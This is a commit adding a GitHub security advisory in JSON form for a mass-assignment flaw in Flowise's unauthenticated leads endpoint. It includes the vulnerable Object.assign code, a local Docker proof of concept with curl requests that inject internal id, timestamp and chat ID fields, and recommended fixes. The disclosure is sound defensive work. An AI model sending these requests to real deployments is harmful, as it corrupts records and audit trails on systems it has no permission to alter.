Skip to content

Commit 09b88bc

Browse files
1 parent 9220c2a commit 09b88bc

1 file changed

Lines changed: 60 additions & 0 deletions

File tree

Lines changed: 60 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,60 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-mq4r-h2gh-qv7x",
4+
"modified": "2026-03-06T22:19:14Z",
5+
"published": "2026-03-06T22:19:14Z",
6+
"aliases": [
7+
"CVE-2026-30822"
8+
],
9+
"summary": "Flowise Allows Mass Assignment in `/api/v1/leads` Endpoint",
10+
"details": "## Summary\n\n**A Mass Assignment vulnerability in the `/api/v1/leads` endpoint allows any unauthenticated user to control internal entity fields (`id`, `createdDate`, `chatId`) by including them in the request body.**\n\nThe endpoint uses `Object.assign()` to copy all properties from the request body to the Lead entity without any input validation or field filtering. This allows attackers to bypass auto-generated fields and inject arbitrary values.\n\n| Field | Value |\n|-------|-------|\n| **Vulnerability Type** | Mass Assignment |\n| **CWE ID** | [CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes](https://cwe.mitre.org/data/definitions/915.html) |\n| **Authentication Required** | None |\n| **Affected Endpoint** | `POST /api/v1/leads` |\n\n\n---\n\n## Details\n\n### Root Cause\n\nThe vulnerability exists in `/packages/server/src/services/leads/index.ts` at lines 27-28:\n\n```typescript\n// File: /packages/server/src/services/leads/index.ts\n// Lines 23-38\n\nconst createLead = async (body: Partial<ILead>) => {\n try {\n const chatId = body.chatId ?? uuidv4()\n\n const newLead = new Lead()\n Object.assign(newLead, body) // ← VULNERABILITY: All properties copied!\n Object.assign(newLead, { chatId })\n\n const appServer = getRunningExpressApp()\n const lead = appServer.AppDataSource.getRepository(Lead).create(newLead)\n const dbResponse = await appServer.AppDataSource.getRepository(Lead).save(lead)\n return dbResponse\n } catch (error) {\n throw new InternalFlowiseError(...)\n }\n}\n```\n\nThe `Object.assign(newLead, body)` on line 28 copies **ALL** properties from the request body to the Lead entity, including:\n- `id` - The primary key (should be auto-generated)\n- `createdDate` - The creation timestamp (should be auto-generated)\n- `chatId` - The chat identifier\n\n### Lead Entity Definition\n\nThe Lead entity at `/packages/server/src/database/entities/Lead.ts` uses TypeORM decorators that should auto-generate these fields:\n\n```typescript\n// File: /packages/server/src/database/entities/Lead.ts\n\n@Entity()\nexport class Lead implements ILead {\n @PrimaryGeneratedColumn('uuid') // Should be auto-generated!\n id: string\n\n @Column()\n name?: string\n\n @Column()\n email?: string\n\n @Column()\n phone?: string\n\n @Column()\n chatflowid: string\n\n @Column()\n chatId: string\n\n @CreateDateColumn() // Should be auto-generated!\n createdDate: Date\n}\n```\n\nHowever, `Object.assign()` overwrites these fields before they are saved, bypassing the auto-generation.\n\n### Why the Endpoint is Publicly Accessible\n\nThe `/api/v1/leads` endpoint is whitelisted in `/packages/server/src/utils/constants.ts`:\n\n```typescript\n// File: /packages/server/src/utils/constants.ts\n// Line 20\n\nexport const WHITELIST_URLS = [\n // ... other endpoints ...\n '/api/v1/leads', // ← No authentication required\n // ... more endpoints ...\n]\n```\n\n---\n\n## Proof of Concept\n\n<img width=\"1585\" height=\"817\" alt=\"Screenshot 2025-12-26 at 2 28 00 PM\" src=\"https://github.com/user-attachments/assets/807984e7-ae4f-4e8a-85b7-057d6ac42ff5\" />\n\n\n### Prerequisites\n\n- Docker and Docker Compose installed\n- curl installed\n\n### Step 1: Start Flowise\n\nCreate a `docker-compose.yml`:\n\n```yaml\nservices:\n flowise:\n image: flowiseai/flowise:latest\n restart: unless-stopped\n environment:\n - PORT=3000\n - DATABASE_PATH=/root/.flowise\n - DATABASE_TYPE=sqlite\n - CORS_ORIGINS=*\n - DISABLE_FLOWISE_TELEMETRY=true\n ports:\n - '3000:3000'\n volumes:\n - flowise_data:/root/.flowise\n entrypoint: /bin/sh -c \"sleep 3; flowise start\"\n\nvolumes:\n flowise_data:\n```\n\nStart the container:\n\n```bash\ndocker compose up -d\n# Wait for Flowise to be ready (about 1-2 minutes)\ncurl http://localhost:3000/api/v1/ping\n```\n\n### Step 2: Baseline Test - Normal Lead Creation\n\nFirst, create a normal lead to see expected behavior:\n\n```bash\ncurl -X POST http://localhost:3000/api/v1/leads \\\n -H \"Content-Type: application/json\" \\\n -d '{\n \"chatflowid\": \"normal-chatflow-123\",\n \"name\": \"Normal User\",\n \"email\": \"normal@example.com\",\n \"phone\": \"555-0000\"\n }'\n```\n\n**Expected Response (normal behavior):**\n```json\n{\n \"id\": \"018b23e3-d6cb-4dc5-a276-922a174b44fd\",\n \"name\": \"Normal User\",\n \"email\": \"normal@example.com\",\n \"phone\": \"555-0000\",\n \"chatflowid\": \"normal-chatflow-123\",\n \"chatId\": \"auto-generated-uuid\",\n \"createdDate\": \"2025-12-26T06:20:39.000Z\"\n}\n```\n\nNote: The `id` and `createdDate` are auto-generated by the server.\n\n### Step 3: Exploit - Inject Custom ID\n\nNow inject a custom `id`:\n\n```bash\ncurl -X POST http://localhost:3000/api/v1/leads \\\n -H \"Content-Type: application/json\" \\\n -d '{\n \"chatflowid\": \"attacker-chatflow-456\",\n \"name\": \"Attacker\",\n \"email\": \"attacker@evil.com\",\n \"phone\": \"555-EVIL\",\n \"id\": \"aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee\"\n }'\n```\n\n**Actual Response (vulnerability confirmed):**\n```json\n{\n \"id\": \"aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee\",\n \"name\": \"Attacker\",\n \"email\": \"attacker@evil.com\",\n \"phone\": \"555-EVIL\",\n \"chatflowid\": \"attacker-chatflow-456\",\n \"chatId\": \"auto-generated-uuid\",\n \"createdDate\": \"2025-12-26T06:20:40.000Z\"\n}\n```\n\n**⚠️ The attacker-controlled `id` was accepted!**\n\n### Step 4: Exploit - Inject Custom Timestamp\n\nInject a fake `createdDate`:\n\n```bash\ncurl -X POST http://localhost:3000/api/v1/leads \\\n -H \"Content-Type: application/json\" \\\n -d '{\n \"chatflowid\": \"timestamp-test-789\",\n \"name\": \"Time Traveler\",\n \"email\": \"timetraveler@evil.com\",\n \"createdDate\": \"1970-01-01T00:00:00.000Z\"\n }'\n```\n\n**Actual Response (vulnerability confirmed):**\n```json\n{\n \"id\": \"some-auto-generated-uuid\",\n \"name\": \"Time Traveler\",\n \"email\": \"timetraveler@evil.com\",\n \"chatflowid\": \"timestamp-test-789\",\n \"chatId\": \"auto-generated-uuid\",\n \"createdDate\": \"1970-01-01T00:00:00.000Z\"\n}\n```\n\n**⚠️ The attacker-controlled timestamp from 1970 was accepted!**\n\n### Step 5: Exploit - Combined Mass Assignment\n\nInject multiple fields at once:\n\n```bash\ncurl -X POST http://localhost:3000/api/v1/leads \\\n -H \"Content-Type: application/json\" \\\n -d '{\n \"chatflowid\": \"any-chatflow-attacker-wants\",\n \"name\": \"Mass Assignment Attacker\",\n \"email\": \"massassign@evil.com\",\n \"phone\": \"555-HACK\",\n \"id\": \"11111111-2222-3333-4444-555555555555\",\n \"createdDate\": \"2000-01-01T12:00:00.000Z\",\n \"chatId\": \"custom-chat-id-injected\"\n }'\n```\n\n**Actual Response (vulnerability confirmed):**\n```json\n{\n \"id\": \"11111111-2222-3333-4444-555555555555\",\n \"name\": \"Mass Assignment Attacker\",\n \"email\": \"massassign@evil.com\",\n \"phone\": \"555-HACK\",\n \"chatflowid\": \"any-chatflow-attacker-wants\",\n \"chatId\": \"custom-chat-id-injected\",\n \"createdDate\": \"2000-01-01T12:00:00.000Z\"\n}\n```\n\n**⚠️ ALL three internal fields (`id`, `createdDate`, `chatId`) were controlled by the attacker!**\n\n### Verification\n\nThe exploit succeeds because:\n1. ✅ HTTP 200 response (request accepted)\n2. ✅ `id` field contains attacker-controlled UUID\n3. ✅ `createdDate` field contains attacker-controlled timestamp\n4. ✅ `chatId` field contains attacker-controlled string\n5. ✅ No authentication headers were sent\n\n---\n\n## Impact\n\n### Who is Affected?\n\n- **All Flowise deployments** that use the leads feature\n- Both **open-source** and **enterprise** versions\n- Any system that relies on lead data integrity\n\n### Attack Scenarios\n\n| Scenario | Impact |\n|----------|--------|\n| **ID Collision Attack** | Attacker creates leads with specific UUIDs, potentially overwriting existing records or causing database conflicts |\n| **Audit Trail Manipulation** | Attacker sets fake `createdDate` values to hide malicious activity or manipulate reporting |\n| **Data Integrity Violation** | Internal fields that should be server-controlled are now user-controlled |\n| **Chatflow Association** | Attacker can link leads to arbitrary chatflows they don't own |\n\n### Severity Assessment\n\nWhile this vulnerability doesn't directly expose sensitive data (unlike the IDOR vulnerability), it violates the principle that internal/auto-generated fields should not be user-controllable. This can lead to:\n\n- Data integrity issues\n- Potential business logic bypasses\n- Audit/compliance concerns\n- Foundation for chained attacks\n\n---\n\n## Recommended Fix\n\n### Option 1: Whitelist Allowed Fields (Recommended)\n\nOnly copy explicitly allowed fields from the request body:\n\n```typescript\nconst createLead = async (body: Partial<ILead>) => {\n try {\n const chatId = body.chatId ?? uuidv4()\n\n const newLead = new Lead()\n \n // ✅ Only copy allowed fields\n const allowedFields = ['chatflowid', 'name', 'email', 'phone']\n for (const field of allowedFields) {\n if (body[field] !== undefined) {\n newLead[field] = body[field]\n }\n }\n newLead.chatId = chatId\n // Let TypeORM auto-generate id and createdDate\n\n const appServer = getRunningExpressApp()\n const lead = appServer.AppDataSource.getRepository(Lead).create(newLead)\n const dbResponse = await appServer.AppDataSource.getRepository(Lead).save(lead)\n return dbResponse\n } catch (error) {\n throw new InternalFlowiseError(...)\n }\n}\n```\n\n### Option 2: Use Destructuring with Explicit Fields\n\n```typescript\nconst createLead = async (body: Partial<ILead>) => {\n try {\n // ✅ Only extract allowed fields\n const { chatflowid, name, email, phone } = body\n const chatId = body.chatId ?? uuidv4()\n\n const appServer = getRunningExpressApp()\n const lead = appServer.AppDataSource.getRepository(Lead).create({\n chatflowid,\n name,\n email,\n phone,\n chatId\n // id and createdDate will be auto-generated\n })\n \n const dbResponse = await appServer.AppDataSource.getRepository(Lead).save(lead)\n return dbResponse\n } catch (error) {\n throw new InternalFlowiseError(...)\n }\n}\n```\n\n### Option 3: Use class-transformer with @Exclude()\n\nAdd decorators to the Lead entity to exclude sensitive fields from assignment:\n\n```typescript\nimport { Exclude } from 'class-transformer'\n\n@Entity()\nexport class Lead implements ILead {\n @PrimaryGeneratedColumn('uuid')\n @Exclude({ toClassOnly: true }) // ✅ Prevent assignment from request\n id: string\n\n // ... other fields ...\n\n @CreateDateColumn()\n @Exclude({ toClassOnly: true }) // ✅ Prevent assignment from request\n createdDate: Date\n}\n```\n\n### Additional Recommendation\n\nConsider applying the same fix to other endpoints that use `Object.assign()` with request bodies, such as:\n- `/packages/server/src/utils/addChatMessageFeedback.ts` (similar pattern)\n\n---\n\n## Resources\n\n- [CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes](https://cwe.mitre.org/data/definitions/915.html)\n- [OWASP: Mass Assignment Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Mass_Assignment_Cheat_Sheet.html)\n- [OWASP API Security Top 10 - API6:2023 Unrestricted Access to Sensitive Business Flows](https://owasp.org/API-Security/editions/2023/en/0xa6-unrestricted-access-to-sensitive-business-flows/)\n- [Node.js Security Best Practices](https://nodejs.org/en/docs/guides/security/)\n\n---",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:L"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "npm",
21+
"name": "flowise"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "3.0.13"
32+
}
33+
]
34+
}
35+
],
36+
"database_specific": {
37+
"last_known_affected_version_range": "<= 3.0.12"
38+
}
39+
}
40+
],
41+
"references": [
42+
{
43+
"type": "WEB",
44+
"url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-mq4r-h2gh-qv7x"
45+
},
46+
{
47+
"type": "PACKAGE",
48+
"url": "https://github.com/FlowiseAI/Flowise"
49+
}
50+
],
51+
"database_specific": {
52+
"cwe_ids": [
53+
"CWE-915"
54+
],
55+
"severity": "HIGH",
56+
"github_reviewed": true,
57+
"github_reviewed_at": "2026-03-06T22:19:14Z",
58+
"nvd_published_at": null
59+
}
60+
}

0 commit comments

Comments
 (0)